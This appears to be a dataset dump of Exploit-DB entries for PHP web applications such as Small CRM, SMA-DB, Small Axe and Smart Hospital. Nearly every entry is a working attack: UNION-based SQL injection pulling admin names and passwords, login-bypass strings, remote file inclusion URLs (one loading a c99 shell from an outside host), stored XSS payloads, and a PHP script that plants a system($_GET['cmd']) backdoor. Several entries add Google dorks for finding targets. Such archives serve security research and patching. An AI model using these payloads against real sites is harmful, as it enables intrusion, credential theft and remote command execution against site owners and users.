deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12849
Description: slogan design Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-03
Author: Mr.P3rfekT

Exploit:
Title: slogan design Script SQL Injection Vulnerability
# Version:
3.1
# Author: Mr.P3rfekT
# Software Site:
http://www.slogandesign.co.il
# Tested on Lunix
# CVE : N/A

###############
Founded By Mr.P3rfekT --- We Will Not Go Down ###############

#
Dork : " inurl:"index.php?m_id="

# Helllo Allz.


#
Exploit :

http://[site]/path/index.php?m_id={SQLi}



#
Poc Username:

union select
1,2,3,4,5,6,7,8,name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
from users_admin


# Poc Password:

union select
1,2,3,4,5,6,7,8,pass,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
from users_admin


# Demo:

http://[site]/union
select
1,2,3,4,5,6,7,8,name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
from users_admin

# Admin Login


#
http://[site]/admin/login.php

# ./done.


####################################################################
Exploit-DB #12515
Description: Slooze PHP Web Photo Album 0.2.7 - Command Execution
Type: webapps
Platform: php
Date: 2010-05-05
Author: Sn!pEr.S!Te Hacker

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 
 0     _                   __           __       __                     1 
 1   /' \            __  /'__`\        /\ \__  /'__`\                   0 
 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1 
 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0 
 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1 
 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0 
 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1 
 1                  \ \____/ >>Remote Command Execution Vulnerability   0 
 0                   \/___/                                                                     1 
 1                                                                      1 
 0                               0 
 1                        1 
 0                                                                      0 
 1                    ########################################          1 
 0                                                         Sn!pEr Team          1 
 1                    ########################################          0 
 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 
  (slooze.php) Command Execution Vulnerability

 #[+] Author : Sn!pEr.S!Te hacker #
# [+] Email : sniper-site@HoTMaiL.coM #
# [+] T34M Sn!pEr.S!Te Hacker  #

#[+] Site            : www.v4-team.com/cc  and www.sa-hacker.com     
# [+] 5-5-2010                                 #
# [+] Script : slooze-0.2.7                   #
# [+] Download: http://sourceforge.net/projects/slooze/files/slooze/0.2.7/slooze-0.2.7.zip/download #
# Version: [0.2.7] #
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1#
Exploit :src/slooze.php
http://localhost/src/slooze.php?file= [your command]


http://127.0.0.1/src/slooz.php?file=[your command]
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1#

system('del "' . $this->cachePath . $file . '"');   /* Windows platforms */

line :1003

 

my  friend : liar -ysefe - Dj - sm hacker-baby hacker-dmar Hacker
Exploit-DB #2317
Description: SL_Site 1.0 - 'spaw_root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-07
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
SL_Site <= 1.0 [spaw_root] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : SL_Site
version : 1.0
URL : ftp://ftp1.comscripts.com/PHP/2032_slsite-10.zip
------------------------------------------------------------------


Exploit:
~~~~~
Variable $spaw_root not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://site.com/[path]/admin/editeur/spaw_control.class.php?spaw_root=[Evil_Script]
---------------------------------------------------------------------------

Solution :
~~~~~~~
declare variabel $spaw_root
---------------------------------------------------------------------------


Shoutz:
~~~

# Special greetz to my good friend [Oo]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
_/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-09-07]
Exploit-DB #7936
Description: sma-db 0.3.12 - Remote File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-02-02
Author: ahmadbady

Exploit:
-----------------:Remote File Include/cross site script:-----------------

script:SMA-DB v0.3.12
   
------------------------------------------------------------------
download from:http://bluevirus.ch/media/downloads/SMA-DB_v0.3.12.zip
   
------------------------------------------------------------------
........................................................
vul:/theme/format.php


<?php include($_page_content);?> line 49

------------------------------------------------------
-----------------------------------------------------
xpl:

http://127.0..0.1/path/theme/format.php?_page_content=[shell.txt?]

xss:
http://127.0.0.1/path/startpage.php/>"><ScRiPt>alert(0)</ScRiPt>

***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady [kivi_hacker666@yahoo.com]

from[iran]
---------------------------------------------------

# milw0rm.com [2009-02-02]
Exploit-DB #8460
Description: SMA-DB 0.3.13 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-04-16
Author: JosS

Exploit:
SMA-DB 0.3.13 Multiple Remote File Inclusion Vulnerabilities
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- download: http://bluevirus.ch/media/downloads/SMA-DB_v0.3.13.zip

- about SMA-DB:

Written in PHP4: SMA-DB is a Database to manage yours and 
see or loan your friends movies and software. Equiped with 
an auto-complete function it is easy to add movies to the 
database. Designed for modern browsers on PC (i.e. Firefox, 
IE 5.5+, Opera 7+) , Mac (ie. Firefox, Opera 7+, Safari) or 
PDA (i.e. PocketIE, Opera 8.5, not with Minimo).

Current version: 0.3.13
Last update: 04.02.2009  

~ [RFI]

http://target/path/theme/format.php?_page_css=[shell.txt?]
http://target/path/theme/format.php?_page_javascript=[shell.txt?]
http://target/path/theme/format.php?_page_content=[shell.txt?]

 __h0__

# milw0rm.com [2009-04-16]
Exploit-DB #3268
Description: SMA-DB 0.3.9 - 'settings.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-05
Author: ThE dE@Th

Exploit:
********************************************************************************
To ConTacT mE:wWw.Asb-May.net/bb
ScRiPt:-http://people.ee.ethz.ch/~dmaeder/bluevirus/downloader.php?filename=U01BLURC&referrer=hots
Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs Gr0uP}>>
******************************************************************************
Settings.php:-
include_once($pfad_z."scripts/session.php");
********************************************************************************
ExPlOiT:-http://www.Site.com/theme/settings.php?pfad_z=[Shell]
********************************************************************************

# milw0rm.com [2007-02-05]
Exploit-DB #4937
Description: Small Axe 0.3.1 - 'cfile' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-01-18
Author: RoMaNcYxHaCkEr

Exploit:
# Name : Small Axe Weblog 0.3.1  Remote File Include
# Download From : http://releases.smallaxesolutions.com/smallaxe-0.3.1.zip
# Found By : RoMaNcYxHaCkEr                  We Are H-T TeaM (Houssamix - ToXiC)
# Home Page : Not Yet  :(      Tryag.cc/cc        No-Hack.net     V99x.com/vb               Hackteach.org/cc     

============================================================================

# Vulne Code In File linkbar.php In Line 1 :


include_once($cfile);

# Exploit :

http://Www.RxH.CoM/smallaxe-0.3.1/inc/linkbar.php?cfile=http://no-hack.net/shells/c99.txt?

That,s It,s

Good Luck Everybody
============================================================================

# Greet To :

"Cold Z3ro My Master , !!Hack-back!!" (Hackteach.org)

Tryag TeaM :"Mahmood_ali , cRMINEL_NET , Mohajer22 , Dr-Ha!l , LoVeRs Hacker , Abdullah00 , Athabi Ker , Mr-Wolf ...etc"  (Tryag.com)

Hack15 TeaM :"GeNiUs-HaCkEr , Mr-AljoOOker , Mr-Shares , So9or , KsA HaCkEr ...etc" (V99x.com)

Sniper-Sa TeaM :"Sniper-sa , Golden-Hacker , Sho3ter , VerySecret , nOUR-Ice ....etc"(Sniper-sa.com)

Yee7 TeaM : "ShockShadow ( My Best Friend ), HoUrIcAn , ...etc"(Yee7.com)

H-T TeaM : " Houusamix , ToXiC "(no-hack.net)

Str0ck (Milw0rm.com)

Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye , AlQaTaRi , God-Father And All My Friends

# For Contact : RxH@HotMail.iT

# Note : Alwayse Don,t See In The Top To Feeling Pain In Your Neck !!!

Best Wishes

# milw0rm.com [2008-01-18]
Exploit-DB #31045
Description: Small Axe Weblog 0.3.1 - 'ffile' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-01-21
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/27383/info

Small Axe Weblog is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This issue affects Small Axe Weblog 0.3.1; other versions may also be vulnerable.

http://www.example.com/inc/linkbar.php?ffile=http://www.example2.com
Exploit-DB #48867
Description: Small CRM 2.0 - 'email' SQL Injection
Type: webapps
Platform: php
Date: 2020-10-12
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Small CRM 2.0 - 'email' SQL Injection
# Google Dork: N/A
# Date: 2020-10-10
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/small-crm-php/
# Version: V2.0
# Tested on: Kali Linux
# CVE : N/A

========== Vulnerable Code ==========

mysqli_query $row1 = mysqli_query($con, "select email,password from user
where email='" . $_POST['email'] . "'");  // dbconnection.php

========== Post Request ====================

POST /crm/forgot-password.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: localhost/crm/forgot-password.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Connection: close
Cookie: __test=ec283e[PII_REDACTED]9573af64209a5d5b;
PHPSESSID=4d272f5938b3ec9c60bb45c4d7b44497
Upgrade-Insecure-Requests: 1

email=test@test.com&submit=

============= Vulnerable Parameter ===============

email (POST)

============= Payload  =========================

' AND (SELECT 1543 FROM (SELECT(SLEEP(5)))gSRd) AND 'PCOX'='PCOX
Exploit-DB #47874
Description: Small CRM 2.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-01-06
Author: FULLSHADE

Exploit:
# Exploit Title: Small CRM 2.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-01-02
# Exploit Author: FULLSHADE
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/small-crm-php/
# Version: V2.0
# Tested on: Windows
# CVE : N/A

# Description:
#
# There is a SQL injection vulnerability in the /index.php page
# which allows for an attacker to use the SQLi login bypass payload
# '=''or' for both the username and password parameters, this allows
# for any authenticated or low level user to login to the admin account.

========== 1. Authentication bypass ==========

POST /Small%20CRM%20Projects%20Using%20PHP%20and%20MySQL/crm/admin/index.php HTTP/1.1
Host: 10.0.0.214
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Origin: http://10.0.0.214
DNT: 1
Connection: close
Referer: http://10.0.0.214/Small%20CRM%20Projects%20Using%20PHP%20and%20MySQL/crm/admin/index.php
Cookie: PHPSESSID=k5845lo7s90it5p33js75665jq
Upgrade-Insecure-Requests: 1

email=%27%3D%27%27or%27&[CREDENTIAL_REDACTED]=
Exploit-DB #49995
Description: Small CRM 3.0 - 'Authentication Bypass' SQL Injection
Type: webapps
Platform: php
Date: 2021-06-14
Author: BHAVESH KAUL

Exploit:
# Exploit Title: Small CRM 3.0 - 'Authentication Bypass' SQL Injection
# Date: 12/06/2021
# Exploit Author: BHAVESH KAUL
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/small-crm-php/
# Version: 3.0
# Tested on: Server: XAMPP

# Description #

Small CRM 3.0 is vulnerable to SQL Injection on it's admin login because of insufficient user supplied data sanitization and the sql injection payload being executed. Attacker is able to access the admin login panel and supply the malicious payload, successfully taking over admin account.

# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/crm/admin/

2) Enter the following payload in 'Username' and 'Password' parameter: ' OR 'x'='x

3) SQL Injection successfull
Exploit-DB #50435
Description: Small CRM 3.0 - 'description' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-10-21
Author: Ghuliev

Exploit:
# Exploit Title: Small CRM 3.0 - 'description' Stored Cross-Site Scripting (XSS)
# Date: 20/10/2021
# Exploit Author: Ghuliev
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/small-crm-php/
# Version: 3.0
# Tested on: Server: Ubuntu

When a user or admin creates a ticket, we can inject javascript code into
ticket.

POST /crm/create-ticket.php HTTP/1.1
Host: IP
Content-Length: 79
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://IP
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://IP/crm/create-ticket.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,az;q=0.8,ru;q=0.7

subject=aa&tasktype=Select+your+Task+Type&priority=&description=</textarea><script>alert(1)</script>&send=Send
Exploit-DB #37328
Description: Small-Cms - 'hostname' Remote PHP Code Injection
Type: webapps
Platform: php
Date: 2012-05-26
Author: L3b-r1'z

Exploit:
source: https://www.securityfocus.com/bid/53703/info

Small-Cms is prone to a remote PHP code-injection vulnerability.

An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying computer; other attacks are also possible. 

<?php
# Author : L3b-r1'z
# Title : Small Cms Php Code Injection
# Date : 5/25/2012
# Email : L3b-r1z@hotmail.com
# Site : Sec4Ever.Com & Exploit4Arab.Com
# Google Dork : allintext: "Copyright © 2012 . Small-Cms "
# -------- Put Target As site.com Just (site.com) -------- #
$target = $argv[1];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/install.php?
step=2&action=w");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0)");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"hostname=LOL%22%3B%3F%3E%3C%3Fsystem(%24_GET%5B'cmd'%5D)%3B%3F%3E%3C%3F%22LOL&username=sssss&[CREDENTIAL_REDACTED]=sssss");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
# Curl By : RipS
?>
Exploit-DB #5441
Description: SmallBiz 4 Seasons CMS - SQL Injection
Type: webapps
Platform: php
Date: 2008-04-14
Author: cO2

Exploit:
###################################################
[~] Powered by SmallBiz 4 Seasons CMS Remote Sql Ä°nj. Vuln.
                                                                                                                
[~] Founder: cO2 [ Algeria Security Crew ]
[~] HomePage: http://www.DZ-Secure.com
[~] Greatz : To all Hackerz from Algeria & All My Friends . . .
[~] Contact: c02@Hotmail.de
[~] Exploit :
http://www.xxx.org/content.php?id=1/**/union/**/select/**/1,2,convert(concat(database(),char(58),user(),char(58),version()),char),4,5,6,7,8,9/*
---------------------
http://www.DZ-Secure.com
---------------------
###############################################

# milw0rm.com [2008-04-14]
Exploit-DB #5443
Description: SmallBiz eShop - 'content_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-14
Author: Stack

Exploit:
###################################################
[~] Powered by SmallBiz eShop CMS Remote Sql Ä°nj. Vuln.
                                                                                                               
[~] Founder: Stack-Terrorist [v40] [ Moroc00 Hacker ]
[~] HomePage: http://www.v4-team.com
[~] Greatz : To all Hackerz from Moroc00 & All My Friends . . .
[~] Contact: admin@v4-team.com
[~] Exploit :
http://www.xxx.co.il/index.php?content_id=-20'%20union%20select%20convert(concat(database(),char(58),user(),char(58),version()),char)/*
---------------------
http://www.DZ-Secure.com
---------------------
###############################################

# milw0rm.com [2008-04-14]
Exploit-DB #42569
Description: Smart Chat 1.0.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-28
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Smart Chat - PHP Script 1.0.0 - Authentication Bypass
# Dork: N/A
# Date: 28.08.2017
# Vendor Homepage: http://codesgit.com/
# Software Link: https://www.codester.com/items/997/smart-chat-php-script
# Demo: http://demos.codesgit.com/smartchat/
# Version: 1.0.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/admin.php
# User: 'or 1=1 or ''=' Pass: anything
# 
# http://localhost/[PATH]/index.php?p=smiles&handel=[SQL]
#
# '+/*!11112UniOn*/+/*!11112sELeCT*/+0x31,0x32,/*!11112coNcAT_Ws*/(0x7e,/*!11112usER*/(),/*!11112DatAbASe*/(),/*!11112vErsIoN*/())--+-
#
# Etc...
# # # # #
Exploit-DB #40904
Description: Smart Guard Network Manager 6.3.2 - SQL Injection
Type: webapps
Platform: php
Date: 2016-12-03
Author: Rahul Raz

Exploit:
# Exploit Title: SQL Injection In Smart Guard Network Manager Api
# Date: 03/12/2016
# Exploit Author: Rahul Raz
# Vendor Homepage: http://www.xsinfoways.com/
# Software Name: Smart Guard Network Manager
# Version: 6.3.2
# Tested on: Ubuntu Linux

Vulnerability type: CWE-89: Improper Neutralization of Special Elements
used in an SQL Command ('SQL Injection')

The menu_id GET parameter on <base url>/view_logs/search_all_history.php in
not filtered properly and leads to SQL Injection

Authentication Required: No

SQL injec type- error/xpath.

Any unauthenticated user can inject SQL commands on the <base-url>
/view_logs/search_all_history.php?menu_id=-466 and extractvalue(1,(select
make_set(511,0,SUBSTRING(password,1,20),1) from
login_master limit 0,1 ))-- -

So an user can fetch admin details and can easily get root on that server
if server is SmartGuard 6.0A Revolutions as php runs as user root by
default.
This this vulnerability can make whole server vulnerable .
Exploit-DB #49290
Description: Smart Hospital 3.1 - _Add Patient_ Stored XSS
Type: webapps
Platform: php
Date: 2020-12-18
Author: Kislay Kumar

Exploit:
# Exploit Title:  Smart Hospital 3.1 - "Add Patient" Stored XSS
# Exploit Author: Kislay Kumar
# Date: 2020-12-18
# Vendor Homepage: https://smart-hospital.in/index.html
# Software Link: https://codecanyon.net/item/smart-hospital-hospital-management-system/23205038
# Affected Version: Version 3.1
# Tested on: Kali Linux

Step 1. Login to the application with Super Admin credentials

Step 2. Click on "OPD-Out Patient" and then click on "Add Patient" then
select "Add Patient" Again.

Step 3. Insert payload - "><svg/onmouseover=alert(1)> ,  in Name , Guardian
Name  , Email , Address , Remarks and Any Known Allergies and Save it.

Step 4. Now the patient profile will open , when your course will move
around profile details they will show an alert box.
Exploit-DB #34689
Description: Smart Magician Blog 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-08-27
Author: Evil-Cod3r

Exploit:
source: https://www.securityfocus.com/bid/43376/info

Smart Magician Blog is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Smart Magician Blog 1.0 is vulnerable; other versions may be affected.

http://www.example.com/path/book.php?do=show&ids=-1 union select 1,version(),3,4,5,6,7,8,9,10,11,12,13--

The following data is available:

admin First : 'or 1=1 or ' & or & 'or 1=1/*
Exploit-DB #36386
Description: Smart PHP Poll - Authentication Bypass
Type: webapps
Platform: php
Date: 2015-03-16
Author: Mr.tro0oqy yemen

Exploit:
# Exploit Title: Smart PHP Poll Auth Bypass Vulnerability
# Google Dork: Copyright � Smart PHP Poll. All Rights Reserved.
# Exploit Author: Mr.tro0oqy (from Yemen)
# Email : uxxd@hotmail.com
# Download Script :http://www.scriptsez.net/download/download.php?action=download&p=smart_php_poll.zip&ns=1

go to www.target.com/path/admin.php

username = admin 'or' 1=1

[CREDENTIAL_REDACTED]